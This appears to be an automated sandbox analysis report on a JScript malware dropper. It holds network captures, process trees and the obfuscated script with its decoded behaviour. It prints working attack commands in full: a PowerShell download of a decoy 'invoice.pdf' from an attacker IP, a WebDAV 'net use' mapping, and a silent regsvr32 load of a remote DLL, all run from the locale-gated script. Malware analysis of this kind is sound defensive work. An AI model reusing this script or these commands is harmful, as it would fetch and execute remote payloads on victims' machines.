Jan 10, 2025 18:49:10.840536118 CET	1.1.1.1	192.168.2.6	0x7fdf	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:49:10.840536118 CET	1.1.1.1	192.168.2.6	0x7fdf	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 18:49:10.840536118 CET	1.1.1.1	192.168.2.6	0x7fdf	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	193.143.1.205	80	3040	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:47:31.320863008 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:47:32.127880096 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:47:32 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:47:32.127897024 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:47:32.127908945 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:47:32.128004074 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 18:47:32.128017902 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 18:47:32.128030062 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 18:47:32.128175974 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 18:47:32.128194094 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 18:47:32.128207922 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 18:47:32.128222942 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 10, 2025 18:47:32.173206091 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49710	193.143.1.205	8888	1596	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:47:33.859838963 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:47:34.666415930 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:47:34 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:47:27
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2453210565523714481.js"
Imagebase:	0x7ff6769a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:47:28
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll
Imagebase:	0x7ff639120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:47:28
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:47:28
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:47:32
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:47:32
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff639120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:47:32
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff63a840000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:47:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:47:33
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:47:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1556,i,12477727839145406114,14479775162683448985,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bvcejphfu() {	bvcejphfu() ➔ undefined
1	aegqnvrca = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var guwmkcgc = this[jocuemotr + jxdegmta + yujqyx + zmfbfpqrd + blitado + cocukyaqn + cuofletzv + exmupoej] ( this[bynchs + evhtm + nyrtcps + yujqyx + ovnpbv + jocuemotr + exmupoej][mcgdaouy + yujqyx + blitado + jxdegmta + exmupoej + blitado + xmoiji + gfxgrfl + yhxftfgu + blitado + nyrtcps + exmupoej] ( bynchs + evhtm + nyrtcps + yujqyx + ovnpbv + jocuemotr + exmupoej + fkmbtwr + evhtm + xpsazzta + blitado + mtzemtfkz + mtzemtfkz ) [zhwrai + blitado + cjcctning + zhwrai + blitado + jxdegmta + dmpts] ( aznfmidwf + ucbueohel + doixloyg + eqzykyscu + uneqg + mcgdaouy + ouqtchlyf + zhwrai + zhwrai + doixloyg + niqxrfd + bwrnonsk + uneqg + ouqtchlyf + evhtm + doixloyg + zhwrai + juaralzv + mcgdaouy + qkbiaot + cuofletzv + exmupoej + yujqyx + qkbiaot + mtzemtfkz + hcuqzkr + nprhavpxa + jxdegmta + cuofletzv + blitado + mtzemtfkz + juaralzv + cocukyaqn + cuofletzv + exmupoej + blitado + yujqyx + cuofletzv + jxdegmta + exmupoej + ovnpbv + qkbiaot + cuofletzv + jxdegmta + mtzemtfkz + juaralzv + qrrzsmleh + qkbiaot + nyrtcps + jxdegmta + mtzemtfkz + blitado ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( oeedm = 0 ; oeedm < aegqnvrca[mtzemtfkz + blitado + cuofletzv + cjcctning + exmupoej + xpsazzta] ; ++ oeedm )
4	{
5	if ( guwmkcgc == aegqnvrca[oeedm] )
6	{
7	guwmkcgc = true;
8	break ;
9	}
10	}
11	if ( guwmkcgc !== true )
12	this[bynchs + evhtm + nyrtcps + yujqyx + ovnpbv + jocuemotr + exmupoej][yjfof + bsigqnh + ovnpbv + exmupoej] ( );
13	this[bynchs + evhtm + nyrtcps + yujqyx + ovnpbv + jocuemotr + exmupoej][mcgdaouy + yujqyx + blitado + jxdegmta + exmupoej + blitado + xmoiji + gfxgrfl + yhxftfgu + blitado + nyrtcps + exmupoej] ( bynchs + evhtm + nyrtcps + yujqyx + ovnpbv + jocuemotr + exmupoej + fkmbtwr + evhtm + xpsazzta + blitado + mtzemtfkz + mtzemtfkz ) [yujqyx + bsigqnh + cuofletzv] ( nyrtcps + zjqxut + dmpts + hcuqzkr + lbxoy + nyrtcps + hcuqzkr + jocuemotr + qkbiaot + lroixl + blitado + yujqyx + zmfbfpqrd + xpsazzta + blitado + mtzemtfkz + mtzemtfkz + fkmbtwr + blitado + fmpoo + blitado + hcuqzkr + xqxqa + mcgdaouy + qkbiaot + zjqxut + zjqxut + jxdegmta + cuofletzv + dmpts + hcuqzkr + brmrivj + cocukyaqn + cuofletzv + paukak + qkbiaot + cjbqdfeuv + blitado + xqxqa + bynchs + blitado + gfxgrfl + zhwrai + blitado + qwsmzbcz + bsigqnh + blitado + zmfbfpqrd + exmupoej + hcuqzkr + xqxqa + xmoiji + bsigqnh + exmupoej + xbxkwa + ovnpbv + mtzemtfkz + blitado + hcuqzkr + yhrmjvoih + exmupoej + blitado + zjqxut + jocuemotr + yhrmjvoih + juaralzv + ovnpbv + cuofletzv + paukak + qkbiaot + ovnpbv + nyrtcps + blitado + fkmbtwr + jocuemotr + dmpts + gusgl + hcuqzkr + xpsazzta + exmupoej + exmupoej + jocuemotr + jruxvish + lbxoy + lbxoy + qfojaf + qulxnshn + mmqlgdun + fkmbtwr + qfojaf + chart + mmqlgdun + fkmbtwr + qfojaf + fkmbtwr + jmhdopuss + pqqvh + bocoyig + lbxoy + ovnpbv + cuofletzv + paukak + qkbiaot + ovnpbv + nyrtcps + blitado + fkmbtwr + jocuemotr + xpsazzta + jocuemotr + brmrivj + ndjvg + ndjvg + zmfbfpqrd + exmupoej + jxdegmta + yujqyx + exmupoej + hcuqzkr + yhrmjvoih + exmupoej + blitado + zjqxut + jocuemotr + yhrmjvoih + juaralzv + ovnpbv + cuofletzv + paukak + qkbiaot + ovnpbv + nyrtcps + blitado + fkmbtwr + jocuemotr + dmpts + gusgl + ndjvg + ndjvg + nyrtcps + zjqxut + dmpts + hcuqzkr + lbxoy + nyrtcps + hcuqzkr + cuofletzv + blitado + exmupoej + hcuqzkr + bsigqnh + zmfbfpqrd + blitado + hcuqzkr + juaralzv + juaralzv + qfojaf + qulxnshn + mmqlgdun + fkmbtwr + qfojaf + chart + mmqlgdun + fkmbtwr + qfojaf + fkmbtwr + jmhdopuss + pqqvh + bocoyig + hljejqwqp + fycwtfwuh + fycwtfwuh + fycwtfwuh + fycwtfwuh + juaralzv + dmpts + jxdegmta + paukak + lroixl + lroixl + lroixl + yujqyx + qkbiaot + qkbiaot + exmupoej + juaralzv + ndjvg + ndjvg + nyrtcps + zjqxut + dmpts + hcuqzkr + lbxoy + nyrtcps + hcuqzkr + yujqyx + blitado + cjcctning + zmfbfpqrd + paukak + yujqyx + mmqlgdun + jmhdopuss + hcuqzkr + lbxoy + zmfbfpqrd + hcuqzkr + juaralzv + juaralzv + qfojaf + qulxnshn + mmqlgdun + fkmbtwr + qfojaf + chart + mmqlgdun + fkmbtwr + qfojaf + fkmbtwr + jmhdopuss + pqqvh + bocoyig + hljejqwqp + fycwtfwuh + fycwtfwuh + fycwtfwuh + fycwtfwuh + juaralzv + dmpts + jxdegmta + paukak + lroixl + lroixl + lroixl + yujqyx + qkbiaot + qkbiaot + exmupoej + juaralzv + jmhdopuss + qulxnshn + qulxnshn + fycwtfwuh + jmhdopuss + bocoyig + bocoyig + vreix + jmhdopuss + jmhdopuss + mmqlgdun + mmqlgdun + mmqlgdun + bocoyig + fkmbtwr + dmpts + mtzemtfkz + mtzemtfkz, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\29982556223335.dll",0,false) ➔ 0
14	}
15	jruxvish = "I";
16	jruxvish = "H";
17	jruxvish = "T";
18	jruxvish = "d";
19	jruxvish = "w";
20	jruxvish = "u";
21	jruxvish = "m";
22	jruxvish = "o";
23	jruxvish = "H";
24	jruxvish = "a";
25	jruxvish = "J";
26	jruxvish = "n";
27	jruxvish = "s";
28	jruxvish = "T";
29	jruxvish = "N";
30	jruxvish = "H";
31	jruxvish = "J";
32	jruxvish = "P";
33	jruxvish = "Q";
34	jruxvish = "N";
35	jruxvish = "t";
36	jruxvish = "A";
37	jruxvish = "j";
38	jruxvish = "P";
39	jruxvish = "a";
40	jruxvish = "h";
41	jruxvish = "W";
42	jruxvish = "B";
43	jruxvish = "L";
44	jruxvish = "h";
45	jruxvish = "s";
46	jruxvish = "F";
47	jruxvish = "Y";
48	jruxvish = "n";
49	jruxvish = ":";
50	jocuemotr = "p";
51	fycwtfwuh = "M";
52	fycwtfwuh = "e";
53	fycwtfwuh = "O";
54	fycwtfwuh = "C";
55	fycwtfwuh = "c";
56	fycwtfwuh = "r";
57	fycwtfwuh = "i";
58	fycwtfwuh = "R";
59	fycwtfwuh = "v";
60	fycwtfwuh = "n";
61	fycwtfwuh = "p";
62	fycwtfwuh = "v";
63	fycwtfwuh = "S";
64	fycwtfwuh = "C";
65	fycwtfwuh = "z";
66	fycwtfwuh = "z";
67	fycwtfwuh = "c";
68	fycwtfwuh = "h";
69	fycwtfwuh = "n";
70	fycwtfwuh = "e";
71	fycwtfwuh = "i";
72	fycwtfwuh = "T";
73	fycwtfwuh = "q";
74	fycwtfwuh = "h";
75	fycwtfwuh = "O";
76	fycwtfwuh = "s";
77	fycwtfwuh = "j";
78	fycwtfwuh = "b";
79	fycwtfwuh = "m";
80	fycwtfwuh = "y";
81	fycwtfwuh = "K";
82	fycwtfwuh = "v";
83	fycwtfwuh = "a";
84	fycwtfwuh = "x";
85	fycwtfwuh = "X";
86	fycwtfwuh = "j";
87	fycwtfwuh = "b";
88	fycwtfwuh = "8";
89	bocoyig = "T";
90	bocoyig = "j";
91	bocoyig = "b";
92	bocoyig = "i";
93	bocoyig = "N";
94	bocoyig = "K";
95	bocoyig = "V";
96	bocoyig = "E";
97	bocoyig = "F";
98	bocoyig = "k";
99	bocoyig = "r";
100	bocoyig = "Y";
101	bocoyig = "A";
102	bocoyig = "R";
103	bocoyig = "g";
104	bocoyig = "Y";
105	bocoyig = "Y";
106	bocoyig = "d";
107	bocoyig = "L";
108	bocoyig = "x";
109	bocoyig = "L";
110	bocoyig = "w";
111	bocoyig = "z";
112	bocoyig = "Q";
113	bocoyig = "z";
114	bocoyig = "W";
115	bocoyig = "V";
116	bocoyig = "q";
117	bocoyig = "M";
118	bocoyig = "g";
119	bocoyig = "z";
120	bocoyig = "g";
121	bocoyig = "V";
122	bocoyig = "s";
123	bocoyig = "I";
124	bocoyig = "E";
125	bocoyig = "E";
126	bocoyig = "M";
127	bocoyig = "x";
128	bocoyig = "5";
129	doixloyg = "F";
130	doixloyg = "L";
131	doixloyg = "G";
132	doixloyg = "U";
133	doixloyg = "s";
134	doixloyg = "X";
135	doixloyg = "C";
136	doixloyg = "x";
137	doixloyg = "y";
138	doixloyg = "w";
139	doixloyg = "e";
140	doixloyg = "Z";
141	doixloyg = "M";
142	doixloyg = "A";
143	doixloyg = "t";
144	doixloyg = "J";
145	doixloyg = "n";
146	doixloyg = "t";
147	doixloyg = "u";
148	doixloyg = "d";
149	doixloyg = "l";
150	doixloyg = "x";
151	doixloyg = "Z";
152	doixloyg = "I";
153	doixloyg = "S";
154	doixloyg = "p";
155	doixloyg = "U";
156	doixloyg = "f";
157	doixloyg = "d";
158	doixloyg = "I";
159	doixloyg = "r";
160	doixloyg = "E";
161	dmpts = "R";
162	dmpts = "p";
163	dmpts = "a";
164	dmpts = "f";
165	dmpts = "z";
166	dmpts = "I";
167	dmpts = "x";
168	dmpts = "p";
169	dmpts = "X";
170	dmpts = "q";
171	dmpts = "U";
172	dmpts = "X";
173	dmpts = "D";
174	dmpts = "S";
175	dmpts = "K";
176	dmpts = "D";
177	dmpts = "J";
178	dmpts = "C";
179	dmpts = "J";
180	dmpts = "d";
181	hcuqzkr = "S";
182	hcuqzkr = " ";
183	uneqg = "U";
184	uneqg = "o";
185	uneqg = "A";
186	uneqg = "j";
187	uneqg = "f";
188	uneqg = "M";
189	uneqg = "Q";
190	uneqg = "d";
191	uneqg = "I";
192	uneqg = "K";
193	uneqg = "i";
194	uneqg = "E";
195	uneqg = "s";
196	uneqg = "m";
197	uneqg = "h";
198	uneqg = "q";
199	uneqg = "B";
200	uneqg = "E";
201	uneqg = "o";
202	uneqg = "P";
203	uneqg = "P";
204	uneqg = "i";
205	uneqg = "V";
206	uneqg = "y";
207	uneqg = "m";
208	uneqg = "B";
209	uneqg = "r";
210	uneqg = "L";
211	uneqg = "_";
212	blitado = "c";
213	blitado = "L";
214	blitado = "a";
215	blitado = "N";
216	blitado = "o";
217	blitado = "Q";
218	blitado = "U";
219	blitado = "w";
220	blitado = "w";
221	blitado = "U";
222	blitado = "o";
223	blitado = "s";
224	blitado = "M";
225	blitado = "F";
226	blitado = "H";
227	blitado = "D";
228	blitado = "E";
229	blitado = "A";
230	blitado = "q";
231	blitado = "e";
232	cuofletzv = "G";
233	cuofletzv = "z";
234	cuofletzv = "i";
235	cuofletzv = "l";
236	cuofletzv = "h";
237	cuofletzv = "c";
238	cuofletzv = "K";
239	cuofletzv = "t";
240	cuofletzv = "x";
241	cuofletzv = "t";
242	cuofletzv = "n";
243	cuofletzv = "D";
244	cuofletzv = "o";
245	cuofletzv = "n";
246	qulxnshn = "M";
247	qulxnshn = "F";
248	qulxnshn = "i";
249	qulxnshn = "E";
250	qulxnshn = "A";
251	qulxnshn = "A";
252	qulxnshn = "c";
253	qulxnshn = "W";
254	qulxnshn = "r";
255	qulxnshn = "h";
256	qulxnshn = "Y";
257	qulxnshn = "K";
258	qulxnshn = "Z";
259	qulxnshn = "t";
260	qulxnshn = "Y";
261	qulxnshn = "h";
